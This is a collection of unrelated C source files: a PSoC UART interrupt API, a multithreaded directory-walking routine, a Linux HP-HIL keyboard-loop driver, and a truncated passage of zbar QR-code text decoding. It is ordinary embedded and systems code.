UART_SCB_IRQ_INTERRUPT_INTERRUPT_CALLBACK */ /* Place your Interrupt code here. */ /* `#START UART_SCB_IRQ_Interrupt` */ /* `#END` */ } /******************************************************************************* * Function Name: UART_SCB_IRQ_SetVector ******************************************************************************** * * Summary: * Change the ISR vector for the Interrupt. Note calling UART_SCB_IRQ_Start * will override any effect this method would have had. To set the vector * before the component has been started use UART_SCB_IRQ_StartEx instead. * * When defining ISR functions, the CY_ISR and CY_ISR_PROTO macros should be * used to provide consistent definition across compilers: * * Function definition example: * CY_ISR(MyISR) * { * } * * Function prototype example: * CY_ISR_PROTO(MyISR); * * Parameters: * address: Address of the ISR to set in the interrupt vector table. * * Return: * None * *******************************************************************************/ void UART_SCB_IRQ_SetVector(cyisraddress address) { CyRamVectors[CYINT_IRQ_BASE + UART_SCB_IRQ__INTC_NUMBER] = address; } /******************************************************************************* * Function Name: UART_SCB_IRQ_GetVector ******************************************************************************** * * Summary: * Gets the "address" of the current ISR vector for the Interrupt. * * Parameters: * None * * Return: * Address of the ISR in the interrupt vector table. * *******************************************************************************/ cyisraddress UART_SCB_IRQ_GetVector(void) { return CyRamVectors[CYINT_IRQ_BASE + UART_SCB_IRQ__INTC_NUMBER]; } /******************************************************************************* * Function Name: UART_SCB_IRQ_SetPriority ******************************************************************************** * * Summary: * Sets the Priority of the Interrupt. * * Note calling UART_SCB_IRQ_Start or UART_SCB_IRQ_StartEx will * override any effect this API would have had. This API should only be called * after UART_SCB_IRQ_Start or UART_SCB_IRQ_StartEx has been called. * To set the initial priority for the component, use the Design-Wide Resources * Interrupt Editor. * * Note This API has no effect on Non-maskable interrupt NMI). * * Parameters: * priority: Priority of the interrupt, 0 being the highest priority * PSoC 3 and PSoC 5LP: Priority is from 0 to 7. * PSoC 4: Priority is from 0 to 3. * * Return: * None * *******************************************************************************/ void UART_SCB_IRQ_SetPriority(uint8 priority) { uint8 interruptState; uint32 priorityOffset = ((UART_SCB_IRQ__INTC_NUMBER % 4u) * 8u) + 6u; interruptState = CyEnterCriticalSection(); *UART_SCB_IRQ_INTC_PRIOR = (*UART_SCB_IRQ_INTC_PRIOR & (uint32)(~UART_SCB_IRQ__INTC_PRIOR_MASK)) | ((uint32)priority << priorityOffset); CyExitCriticalSection(interruptState); } /******************************************************************************* * Function Name: UART_SCB_IRQ_GetPriority ******************************************************************************** * * Summary: * Gets the Priority of the Interrupt. * * Parameters: * None * * Return: * Priority of the interrupt, 0 being the highest priority * PSoC 3 and PSoC 5LP: Priority is from 0 to 7. * PSoC 4: Priority is from 0 to 3. * *******************************************************************************/ uint8 UART_SCB_IRQ_GetPriority(void) { uint32 priority; uint32 priorityOffset = ((UART_SCB_IRQ__INTC_NUMBER % 4u) * 8u) + 6u; priority = (*UART_SCB_IRQ_INTC_PRIOR & UART_SCB_IRQ__INTC_PRIOR_MASK) >> priorityOffset; return (uint8)priority; } /******************************************************************************* * Function Name: UART_SCB_IRQ_Enable ******************************************************************************** * * Summary: * Enables the interrupt to the interrupt controller. Do not call this function * unless ISR_Start() has been called or the functionality of the ISR_Start() * function, which sets the vector and the priority, has been called. * * Parameters: * None * * Return: * None * *******************************************************************************/ void UART_SCB_IRQ_Enable(void) { /* Enable the general interrupt. */ *UART_SCB_IRQ_INTC_SET_EN = UART_SCB_IRQ__INTC_MASK; } /******************************************************************************* * Function Name: UART_SCB_IRQ_GetState ******************************************************************************** * * Summary: * Gets the state (enabled, disabled) of the Interrupt. * * Parameters: * None * * Return: * 1 if enabled, 0 if disabled. * *******************************************************************************/ uint8 UART_SCB_IRQ_GetState(void) { /* Get the state of the general interrupt. */ return ((*UART_SCB_IRQ_INTC_SET_EN & (uint32)UART_SCB_IRQ__INTC_MASK) != 0u) ? 1u:0u; } /******************************************************************************* * Function Name: UART_SCB_IRQ_Disable ******************************************************************************** * * Summary: * Disables the Interrupt in the interrupt controller. * * Parameters: * None * * Return: * None * *******************************************************************************/ void UART_SCB_IRQ_Disable(void) { /* Disable the general interrupt. */ *UART_SCB_IRQ_INTC_CLR_EN = UART_SCB_IRQ__INTC_MASK; } /******************************************************************************* * Function Name: UART_SCB_IRQ_SetPending ******************************************************************************** * * Summary: * Causes the Interrupt to enter the pending state, a software method of * generating the interrupt. * * Parameters: * None * * Return: * None * * Side Effects: * If interrupts are enabled and the interrupt is set up properly, the ISR is * entered (depending on the priority of this interrupt and other pending * interrupts). * *******************************************************************************/ void UART_SCB_IRQ_SetPending(void) { *UART_SCB_IRQ_INTC_SET_PD = UART_SCB_IRQ__INTC_MASK; } /******************************************************************************* * Function Name: UART_SCB_IRQ_ClearPending ******************************************************************************** * * Summary: * Clears a pending interrupt in the interrupt controller. * * Note Some interrupt sources are clear-on-read and require the block * interrupt/status register to be read/cleared with the appropriate block API * (GPIO, UART, and so on). Otherwise the ISR will continue to remain in * pending state even though the interrupt itself is cleared using this API. * * Parameters: * None * * Return: * None * *******************************************************************************/ void UART_SCB_IRQ_ClearPending(void) { *UART_SCB_IRQ_INTC_CLR_PD = UART_SCB_IRQ__INTC_MASK; } #endif /* End check for removal by optimization */ /* [] END OF FILE */
717693.c
/* This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to <http://unlicense.org> File: fasterNftw.c Author: TPB (Halfwit genius) */ #include <fasterNftw.h> #include <strHelper.h> #include <string.h> #include <FS_utils.h> #if 1//USE_MT_MODE #include <pthread.h> #else void* pthread_create ( void *dummy, void *thr_args, void* (*threadFunc)(void *), void *thrArgs) { return threadFunc (thrArgs); } #define pthread_join(a, b) #endif #if 0 static void* concatArrays ( void **src, int *nSrc, void *dst, int nDst, int size ) { *src = realloc (*src, (*nSrc+nDst)*size); memcpy (&(*src)[*nSrc], dst, nDst*size); *nSrc += nDst; return *src; } #endif static int getDirContents( char *name, char **pat, char **antiPat, fpNftwCb callback, int *nFiles, int *nSubDirs, FS_Object ***pDirs, FS_Object ***pFiles, void *cbArgs, FS_Object *parent ) { struct dirent *ent; DIR *dir; FS_Object ***ptr; int pathLen = strlen (name); int num = 0; void *result = NULL; *pDirs = NULL; *pFiles = NULL; if((dir = opendir (name)) == NULL) { printf ("opendir(%s) failed with errno: %d\n", name, errno); return -1; } while((ent = readdir (dir)) != NULL) { int entNameLen = strlen (ent->d_name); int filePathen = pathLen + entNameLen; FS_Object f = {0,}; int i = 0; if ( ent->d_name[0] == '.') if (ent->d_name[1]==0 || ( ent->d_name[1]=='.' && ent->d_name[2]==0 )) continue; i = (ent->d_type == DT_DIR?1:0); /* this can go into callback */ if((antiPat && antiPat[i] && strcasestr(ent->d_name, antiPat[i])) || (pat && pat[i] && !strcasestr (ent->d_name, pat[i]))) continue; memset (&f, 0, sizeof(f)); f.parent = parent; f.baseName = calloc (entNameLen+1, sizeof(char)); f.depth = parent->depth+1; memcpy (f.baseName, ent->d_name, entNameLen+1); if(ent->d_type == DT_DIR) f.dirName = getFullName (parent); if ( callback && callback (&f, cbArgs) == 0 ) { /* discard this data */ freeFields(&f); CHK_FREE (f.baseName); CHK_FREE (f.dirName); continue; } if( ent->d_type == DT_DIR) { num = ++(*nSubDirs); ptr = pDirs; parent->numSubDirs++; } else if( ent->d_type == DT_REG) { num = ++(*nFiles); parent->numFiles++; ptr = pFiles; } *ptr = realloc (*ptr, num*sizeof(FS_Object*)); (*ptr)[num-1] = (FS_Object*)calloc (sizeof(FS_Object), 1); memcpy ((*ptr)[num-1], &f, sizeof(FS_Object)); } closedir (dir); } static void* getDirContentsThr(void *args) { dirContent_t *p = (dirContent_t *)args; char *name = p->name; char **pat = p->pat; char **antiPat = p->antiPat; fpNftwCb callback = p->callback; int *nFiles = p->nFiles; int *nSubDirs = p->nSubDirs; FS_Object ***pDirs = p->pDirs; FS_Object ***pFiles = p->pFiles; void *cbArgs = p->cbArgs; FS_Object *parent = p->parent; getDirContents (name, pat, antiPat, callback, nFiles, nSubDirs, pDirs, pFiles, cbArgs, parent); } /** * Parse given directories recursively. Popuate the dirs and files arrays * and the count of subdirs and files. Also, run callbacks if provided on * the files and subdirs. Default implementation is BFS. Can run DFS too. * * @param paths directory to parse * @param numPaths number of paths input * @paths pat patterns to include [0] for filename, [1] for directory * @paths antiPat patterns to exclude [0] for filename, [1] for directory * @param callback callback to call for both files and directories * @param numFiles number of files found * @param numSubDirs number of subdirs parsed * @param dirs list of directories parsed - order as returned by OS * @param files list of files parsed - orider as returned by OS * @param cbArgs arguments for callback * @param doDFS drill down directories as we find them */ void fasterNftw( my_string *paths, int numPaths, char **pat, char **antiPat, fpNftwCb callback, int *nFiles, int *nSubDirs, FS_Object ***pDirs, FS_Object ***pFiles, void *cbArgs, int doDFS ) { DIR *dir; FS_Object ***ptr; int num; int n = numPaths; int i; int numThreads = 1; if(pDirs) { *pDirs = realloc (*pDirs, n*sizeof(FS_Object*)); } if(*pFiles) { *pFiles = realloc (*pFiles, numPaths*sizeof(FS_Object*)); } for(i = 0; i<numPaths; i++) { int len = strlen (paths[i]); (*pDirs)[i] = (FS_Object*)calloc (sizeof(FS_Object), 1); if(paths[i][len-1] == PATH_SEP_CHR) len--; (*pDirs)[i]->baseName = calloc (1+len, sizeof(char)); (*pDirs)[i]->depth = getNumTokens (paths[i], PATH_SEP_STR); memcpy ((*pDirs)[i]->baseName, paths[i], len); if(callback && callback ((*pDirs)[i], cbArgs) == 0 ) { /* discard this data */ freeFields((*pDirs)[i]); CHK_FREE ((*pDirs)[i]->baseName); CHK_FREE ((*pDirs)[i]); } } if(*nSubDirs == 0) *nSubDirs = numPaths; for(i=0; i<numPaths; ) { char **name = calloc (sizeof(char*), numThreads); FS_Object ***dirs = calloc (sizeof(FS_Object **), numThreads); FS_Object ***files = calloc (sizeof(FS_Object **), numThreads); int *lnFiles = calloc (sizeof(int), numThreads); int *lnSubDirs = calloc (sizeof(int), numThreads); int t; int numSubDirs = *nSubDirs; int numFiles = *nFiles; int tmpNPaths = numPaths; pthread_t *thrs = calloc (numThreads, sizeof(pthread_t)); for(t = 0; t<numThreads && i+t<numPaths; t++) { dirContent_t s = {NULL, pat, antiPat, callback, lnFiles+t, lnSubDirs+t, dirs+t, files+t, cbArgs, (*pDirs)[i+t], t}; name[t] = getFullName ((*pDirs)[i+t]); s.name = name[t]; pthread_create (&thrs[t], NULL, getDirContentsThr, &s); // getDirContentsThr (&s); } for(t = 0; t<numThreads && i+t<numPaths; t++) { pthread_join (thrs[t], NULL); } /* join here */ for(t = 0; t<numThreads && i+t<numPaths; t++) { numSubDirs += lnSubDirs[t]; numFiles += lnFiles[t]; } *pDirs = realloc (*pDirs, (numSubDirs*sizeof(FS_Object*))); *pFiles = realloc (*pFiles, (numFiles)*sizeof(FS_Object*)); for(t = 0; t<numThreads && i<numPaths; t++, i++) { memcpy (*pDirs+*nSubDirs, dirs[t], lnSubDirs[t] * sizeof(FS_Object*)); memcpy (*pFiles+*nFiles, files[t], lnFiles[t] * sizeof(FS_Object*)); *nSubDirs += lnSubDirs[t]; *nFiles += lnFiles[t]; if(doDFS) { int j; for(j=0; j<lnSubDirs[t]; j++) { char *name = getFullName ((*pDirs)[j+*nSubDirs]); fasterNftw (&name, 1, pat, antiPat, callback, nFiles, nSubDirs, pDirs, pFiles, cbArgs, doDFS); CHK_FREE (name); } } else if(!doDFS) { tmpNPaths += lnSubDirs[t]; } } for(t=0; t<numThreads; t++) { CHK_FREE (name[t]); CHK_FREE (dirs[t]); CHK_FREE (files[t]); } CHK_FREE (name); CHK_FREE (dirs); CHK_FREE (files); CHK_FREE (lnFiles); CHK_FREE (lnSubDirs); CHK_FREE (thrs); if(!doDFS) numPaths = tmpNPaths; } }
823677.c
/* * Access to HP-HIL MLC through HP System Device Controller. * * Copyright (c) 2001 Brian S. Julin * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions, and the following disclaimer, * without modification. * 2. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * Alternatively, this software may be distributed under the terms of the * GNU General Public License ("GPL"). * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * * References: * HP-HIL Technical Reference Manual. Hewlett Packard Product No. 45918A * System Device Controller Microprocessor Firmware Theory of Operation * for Part Number 1820-4784 Revision B. Dwg No. A-1820-4784-2 * */ #include <linux/hil_mlc.h> #include <linux/hp_sdc.h> #include <linux/errno.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> #include <linux/string.h> #define PREFIX "HP SDC MLC: " static hil_mlc hp_sdc_mlc; MODULE_AUTHOR("Brian S. Julin <[email protected]>"); MODULE_DESCRIPTION("Glue for onboard HIL MLC in HP-PARISC machines"); MODULE_LICENSE("Dual BSD/GPL"); struct hp_sdc_mlc_priv_s { int emtestmode; hp_sdc_transaction trans; u8 tseq[16]; int got5x; } hp_sdc_mlc_priv; /************************* Interrupt context ******************************/ static void hp_sdc_mlc_isr (int irq, void *dev_id, uint8_t status, uint8_t data) { int idx; hil_mlc *mlc = &hp_sdc_mlc; write_lock(&(mlc->lock)); if (mlc->icount < 0) { printk(KERN_WARNING PREFIX "HIL Overflow!\n"); up(&mlc->isem); goto out; } idx = 15 - mlc->icount; if ((status & HP_SDC_STATUS_IRQMASK) == HP_SDC_STATUS_HILDATA) { mlc->ipacket[idx] |= data | HIL_ERR_INT; mlc->icount--; if (hp_sdc_mlc_priv.got5x) goto check; if (!idx) goto check; if ((mlc->ipacket[idx-1] & HIL_PKT_ADDR_MASK) != (mlc->ipacket[idx] & HIL_PKT_ADDR_MASK)) { mlc->ipacket[idx] &= ~HIL_PKT_ADDR_MASK; mlc->ipacket[idx] |= (mlc->ipacket[idx-1] & HIL_PKT_ADDR_MASK); } goto check; } /* We know status is 5X */ if (data & HP_SDC_HIL_ISERR) goto err; mlc->ipacket[idx] = (data & HP_SDC_HIL_R1MASK) << HIL_PKT_ADDR_SHIFT; hp_sdc_mlc_priv.got5x = 1; goto out; check: hp_sdc_mlc_priv.got5x = 0; if (mlc->imatch == 0) goto done; if ((mlc->imatch == (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_POL)) && (mlc->ipacket[idx] == (mlc->imatch | idx))) goto done; if (mlc->ipacket[idx] == mlc->imatch) goto done; goto out; err: printk(KERN_DEBUG PREFIX "err code %x\n", data); switch (data) { case HP_SDC_HIL_RC_DONE: printk(KERN_WARNING PREFIX "Bastard SDC reconfigured loop!\n"); break; case HP_SDC_HIL_ERR: mlc->ipacket[idx] |= HIL_ERR_INT | HIL_ERR_PERR | HIL_ERR_FERR | HIL_ERR_FOF; break; case HP_SDC_HIL_TO: mlc->ipacket[idx] |= HIL_ERR_INT | HIL_ERR_LERR; break; case HP_SDC_HIL_RC: printk(KERN_WARNING PREFIX "Bastard SDC decided to reconfigure loop!\n"); break; default: printk(KERN_WARNING PREFIX "Unkown HIL Error status (%x)!\n", data); break; } /* No more data will be coming due to an error. */ done: tasklet_schedule(mlc->tasklet); up(&(mlc->isem)); out: write_unlock(&(mlc->lock)); } /******************** Tasklet or userspace context functions ****************/ static int hp_sdc_mlc_in (hil_mlc *mlc, suseconds_t timeout) { unsigned long flags; struct hp_sdc_mlc_priv_s *priv; int rc = 2; priv = mlc->priv; write_lock_irqsave(&(mlc->lock), flags); /* Try to down the semaphore */ if (down_trylock(&(mlc->isem))) { struct timeval tv; if (priv->emtestmode) { mlc->ipacket[0] = HIL_ERR_INT | (mlc->opacket & (HIL_PKT_CMD | HIL_PKT_ADDR_MASK | HIL_PKT_DATA_MASK)); mlc->icount = 14; /* printk(KERN_DEBUG PREFIX ">[%x]\n", mlc->ipacket[0]); */ goto wasup; } do_gettimeofday(&tv); tv.tv_usec += 1000000 * (tv.tv_sec - mlc->instart.tv_sec); if (tv.tv_usec - mlc->instart.tv_usec > mlc->intimeout) { /* printk("!%i %i", tv.tv_usec - mlc->instart.tv_usec, mlc->intimeout); */ rc = 1; up(&(mlc->isem)); } goto done; } wasup: up(&(mlc->isem)); rc = 0; goto done; done: write_unlock_irqrestore(&(mlc->lock), flags); return rc; } static int hp_sdc_mlc_cts (hil_mlc *mlc) { struct hp_sdc_mlc_priv_s *priv; unsigned long flags; priv = mlc->priv; write_lock_irqsave(&(mlc->lock), flags); /* Try to down the semaphores -- they should be up. */ if (down_trylock(&(mlc->isem))) { BUG(); goto busy; } if (down_trylock(&(mlc->osem))) { BUG(); up(&(mlc->isem)); goto busy; } up(&(mlc->isem)); up(&(mlc->osem)); if (down_trylock(&(mlc->csem))) { if (priv->trans.act.semaphore != &(mlc->csem)) goto poll; goto busy; } if (!(priv->tseq[4] & HP_SDC_USE_LOOP)) goto done; poll: priv->trans.act.semaphore = &(mlc->csem); priv->trans.actidx = 0; priv->trans.idx = 1; priv->trans.endidx = 5; priv->tseq[0] = HP_SDC_ACT_POSTCMD | HP_SDC_ACT_DATAIN | HP_SDC_ACT_SEMAPHORE; priv->tseq[1] = HP_SDC_CMD_READ_USE; priv->tseq[2] = 1; priv->tseq[3] = 0; priv->tseq[4] = 0; hp_sdc_enqueue_transaction(&(priv->trans)); busy: write_unlock_irqrestore(&(mlc->lock), flags); return 1; done: priv->trans.act.semaphore = &(mlc->osem); up(&(mlc->csem)); write_unlock_irqrestore(&(mlc->lock), flags); return 0; } static void hp_sdc_mlc_out (hil_mlc *mlc) { struct hp_sdc_mlc_priv_s *priv; unsigned long flags; priv = mlc->priv; write_lock_irqsave(&(mlc->lock), flags); /* Try to down the semaphore -- it should be up. */ if (down_trylock(&(mlc->osem))) { BUG(); goto done; } if (mlc->opacket & HIL_DO_ALTER_CTRL) goto do_control; do_data: if (priv->emtestmode) { up(&(mlc->osem)); goto done; } /* Shouldn't be sending commands when loop may be busy */ if (down_trylock(&(mlc->csem))) { BUG(); goto done; } up(&(mlc->csem)); priv->trans.actidx = 0; priv->trans.idx = 1; priv->trans.act.semaphore = &(mlc->osem); priv->trans.endidx = 6; priv->tseq[0] = HP_SDC_ACT_DATAREG | HP_SDC_ACT_POSTCMD | HP_SDC_ACT_SEMAPHORE; priv->tseq[1] = 0x7; priv->tseq[2] = (mlc->opacket & (HIL_PKT_ADDR_MASK | HIL_PKT_CMD)) >> HIL_PKT_ADDR_SHIFT; priv->tseq[3] = (mlc->opacket & HIL_PKT_DATA_MASK) >> HIL_PKT_DATA_SHIFT; priv->tseq[4] = 0; /* No timeout */ if (priv->tseq[3] == HIL_CMD_DHR) priv->tseq[4] = 1; priv->tseq[5] = HP_SDC_CMD_DO_HIL; goto enqueue; do_control: priv->emtestmode = mlc->opacket & HIL_CTRL_TEST; if ((mlc->opacket & (HIL_CTRL_APE | HIL_CTRL_IPF)) == HIL_CTRL_APE) { BUG(); /* we cannot emulate this, it should not be used. */ } if ((mlc->opacket & HIL_CTRL_ONLY) == HIL_CTRL_ONLY) goto control_only; if (mlc->opacket & HIL_CTRL_APE) { BUG(); /* Should not send command/data after engaging APE */ goto done; } /* Disengaging APE this way would not be valid either since * the loop must be allowed to idle. * * So, it works out that we really never actually send control * and data when using SDC, we just send the data. */ goto do_data; control_only: priv->trans.actidx = 0; priv->trans.idx = 1; priv->trans.act.semaphore = &(mlc->osem); priv->trans.endidx = 4; priv->tseq[0] = HP_SDC_ACT_PRECMD | HP_SDC_ACT_DATAOUT | HP_SDC_ACT_SEMAPHORE; priv->tseq[1] = HP_SDC_CMD_SET_LPC; priv->tseq[2] = 1; // priv->tseq[3] = (mlc->ddc + 1) | HP_SDC_LPS_ACSUCC; priv->tseq[3] = 0; if (mlc->opacket & HIL_CTRL_APE) { priv->tseq[3] |= HP_SDC_LPC_APE_IPF; down_trylock(&(mlc->csem)); } enqueue: hp_sdc_enqueue_transaction(&(priv->trans)); done: write_unlock_irqrestore(&(mlc->lock), flags); } static void hp_sdc_mlc_inc_use_count (void) { MOD_INC_USE_COUNT; } static void hp_sdc_mlc_dec_use_count (void) { MOD_DEC_USE_COUNT; } static int __init hp_sdc_mlc_init(void) { hil_mlc *mlc = &hp_sdc_mlc; printk(KERN_INFO PREFIX "Registering the System Domain Controller's HIL MLC.\n"); hp_sdc_mlc_priv.emtestmode = 0; hp_sdc_mlc_priv.trans.seq = hp_sdc_mlc_priv.tseq; hp_sdc_mlc_priv.trans.act.semaphore = &(mlc->osem); hp_sdc_mlc_priv.got5x = 0; mlc->cts = &hp_sdc_mlc_cts; mlc->in = &hp_sdc_mlc_in; mlc->out = &hp_sdc_mlc_out; mlc->inc_use_count = &hp_sdc_mlc_inc_use_count; mlc->dec_use_count = &hp_sdc_mlc_dec_use_count; if (hil_mlc_register(mlc)) { printk(KERN_WARNING PREFIX "Failed to register MLC structure with hil_mlc\n"); goto err0; } mlc->priv = &hp_sdc_mlc_priv; if (hp_sdc_request_hil_irq(&hp_sdc_mlc_isr)) { printk(KERN_WARNING PREFIX "Request for raw HIL ISR hook denied\n"); goto err1; } return 0; err1: if (hil_mlc_unregister(mlc)) { printk(KERN_ERR PREFIX "Failed to unregister MLC structure with hil_mlc.\n" "This is bad. Could cause an oops.\n"); } err0: return -EBUSY; } static void __exit hp_sdc_mlc_exit(void) { hil_mlc *mlc = &hp_sdc_mlc; if (hp_sdc_release_hil_irq(&hp_sdc_mlc_isr)) { printk(KERN_ERR PREFIX "Failed to release the raw HIL ISR hook.\n" "This is bad. Could cause an oops.\n"); } if (hil_mlc_unregister(mlc)) { printk(KERN_ERR PREFIX "Failed to unregister MLC structure with hil_mlc.\n" "This is bad. Could cause an oops.\n"); } } module_init(hp_sdc_mlc_init); module_exit(hp_sdc_mlc_exit);
377771.c
/*Copyright (C) 2008-2010 Timothy B. Terriberry ([email protected]) You can redistribute this library and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version.*/ #include <config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <iconv.h> #include "qrcode.h" #include "qrdec.h" #include "util.h" #include "image.h" #include "decoder.h" #include "error.h" #include "img_scanner.h" static int text_is_ascii(const unsigned char *_text,int _len){ int i; for(i=0;i<_len;i++)if(_text[i]>=0x80)return 0; return 1; } static int text_is_latin1(const unsigned char *_text,int _len){ int i; for(i=0;i<_len;i++){ /*The following line fails to compile correctly with gcc 3.4.4 on ARM with any optimizations enabled.*/ if(_text[i]>=0x80&&_text[i]<0xA0)return 0; } return 1; } static void enc_list_mtf(iconv_t _enc_list[3],iconv_t _enc){ int i; for(i=0;i<3;i++)if(_enc_list[i]==_enc){ int j; for(j=i;j-->0;)_enc_list[j+1]=_enc_list[j]; _enc_list[0]=_enc; break; } } int qr_code_data_list_extract_text(const qr_code_data_list *_qrlist, zbar_image_scanner_t *iscn, zbar_image_t *img) { iconv_t sjis_cd; iconv_t utf8_cd; iconv_t latin1_cd; const qr_code_data *qrdata; int nqrdata; unsigned char *mark; int ntext; int i; qrdata=_qrlist->qrdata; nqrdata=_qrlist->nqrdata; mark=(unsigned char *)calloc(nqrdata,sizeof(*mark)); ntext=0; /*This is the encoding the standard says is the default.*/ // latin1_cd=iconv_open("UTF-8","ISO8859-1"); latin1_cd=iconv_open("UTF-8","GBK"); /*But this one is often used, as well.*/ sjis_cd=iconv_open("UTF-8","SJIS"); /*This is a trivial conversion just to check validity without extra code.*/ utf8_cd=iconv_open("UTF-8","UTF-8"); for(i=0;i<nqrdata;i++)if(!mark[i]){ const qr_code_data *qrdataj; const qr_code_data_entry *entry; iconv_t enc_list[3]; iconv_t eci_cd; int sa[16]; int sa_size; char *sa_text; size_t sa_ntext; size_t sa_ctext; int fnc1; int fnc1_2ai; int has_kanji; int eci; int err; int j; int k; zbar_symbol_t *syms = NULL, **sym = &syms; qr_point dir; int horiz; /*Step 0: Collect the other QR codes belonging to this S-A group.*/ if(qrdata[i].sa_size){ unsigned sa_parity; sa_size=qrdata[i].sa_size; sa_parity=qrdata[i].sa_parity; for(j=0;j<sa_size;j++)sa[j]=-1; for(j=i;j<nqrdata;j++)if(!mark[j]){ /*TODO: We could also match version, ECC level, etc. if size and parity alone are too ambiguous.*/ if(qrdata[j].sa_size==sa_size&&qrdata[j].sa_parity==sa_parity&& sa[qrdata[j].sa_index]<0){ sa[qrdata[j].sa_index]=j; mark[j]=1; } } /*TODO: If the S-A group is complete, check the parity.*/ } else{ sa[0]=i; sa_size=1; } sa_ctext=0; fnc1=0; fnc1_2ai=0; has_kanji=0; /*Step 1: Detect FNC1 markers and estimate the required buffer size.*/ for(j=0;j<sa_size;j++)if(sa[j]>=0){ qrdataj=qrdata+sa[j]; for(k=0;k<qrdataj->nentries;k++){ int shift; entry=qrdataj->entries+k; shift=0; switch(entry->mode){ /*FNC1 applies to the entire code and ignores subsequent markers.*/ case QR_MODE_FNC1_1ST:{ if(!fnc1)fnc1=MOD(ZBAR_MOD_GS1); }break; case QR_MODE_FNC1_2ND:{ if(!fnc1){ fnc1=MOD(ZBAR_MOD_AIM); fnc1_2ai=entry->payload.ai; sa_ctext+=2; } }break; /*We assume at most 4 UTF-8 bytes per input byte. I believe this is true for all the encodings we actually use.*/ case QR_MODE_KANJI:has_kanji=1; case QR_MODE_BYTE:shift=2; default:{ /*The remaining two modes are already valid UTF-8.*/ if(QR_MODE_HAS_DATA(entry->mode)){ sa_ctext+=entry->payload.data.len<<shift; } }break; } } } /*Step 2: Convert the entries.*/ sa_text=(char *)malloc((sa_ctext+1)*sizeof(*sa_text)); sa_ntext=0; /*Add the encoded Application Indicator for FNC1 in the second position.*/ if(fnc1==MOD(ZBAR_MOD_AIM)){ if(fnc1_2ai<100){ /*The Application Indicator is a 2-digit number.*/ sa_text[sa_ntext++]='0'+fnc1_2ai/10; sa_text[sa_ntext++]='0'+fnc1_2ai%10; } /*The Application Indicator is a single letter. We already checked that it lies in one of the ranges A...Z, a...z when we decoded it.*/ else sa_text[sa_ntext++]=(char)(fnc1_2ai-100); } eci=-1; enc_list[0]=sjis_cd; enc_list[1]=latin1_cd; enc_list[2]=utf8_cd; eci_cd=(iconv_t)-1; err=0; for(j = 0; j < sa_size && !err; j++, sym = &(*sym)->next) { *sym = _zbar_image_scanner_alloc_sym(iscn, ZBAR_QRCODE, 0); (*sym)->datalen = sa_ntext; if(sa[j]<0){ /* generic placeholder for unfinished results */ (*sym)->type = ZBAR_PARTIAL; /*Skip all contiguous missing segments.*/ for(j++;j<sa_size&&sa[j]<0;j++); /*If there aren't any more, stop.*/ if(j>=sa_size)break; /* mark break in data */ sa_text[sa_ntext++]='\0'; (*sym)->datalen = sa_ntext; /* advance to next symbol */ sym = &(*sym)->next; *sym = _zbar_image_scanner_alloc_sym(iscn, ZBAR_QRCODE, 0); } qrdataj=qrdata+sa[j]; /* expose bounding box */ sym_add_point(*sym, qrdataj->bbox[0][0], qrdataj->bbox[0][1]); sym_add_point(*sym, qrdataj->bbox[2][0], qrdataj->bbox[2][1]); sym_add_point(*sym, qrdataj->bbox[3][0], qrdataj->bbox[3][1]); sym_add_point(*sym, qrdataj->bbox[1][0], qrdataj->bbox[1][1]); /* approx symbol "up" direction */ dir[0] = (qrdataj->bbox[0][0] - qrdataj->bbox[2][0] + qrdataj->bbox[1][0] - qrdataj->bbox[3][0]); dir[1] = (qrdataj->bbox[2][1] - qrdataj->bbox[0][1] + qrdataj->bbox[3][1] - qrdataj->bbox[1][1]); horiz = abs(dir[0]) > abs(dir[1]); (*sym)->orient = horiz + 2 * (dir[1 - horiz] < 0); for(k=0;k<qrdataj->nentries&&!err;k++){ size_t inleft; size_t outleft; char *in; char *out; entry=qrdataj->entries+k; switch(entry->mode){ case QR_MODE_NUM:{ if(sa_ctext-sa_ntext>=(size_t)entry->payload.data.len){ memcpy(sa_text+sa_ntext,entry->payload.data.buf, entry->payload.data.len*sizeof(*sa_text)); sa_ntext+=entry->payload.data.len; } else err=1; }break; case QR_MODE_ALNUM:{ char *p; in=(char *)entry->payload.data.buf; inleft=entry->payload.data.len; /*FNC1 uses '%' as an escape character.*/ if(fnc1)for(;;){ size_t plen; char c; 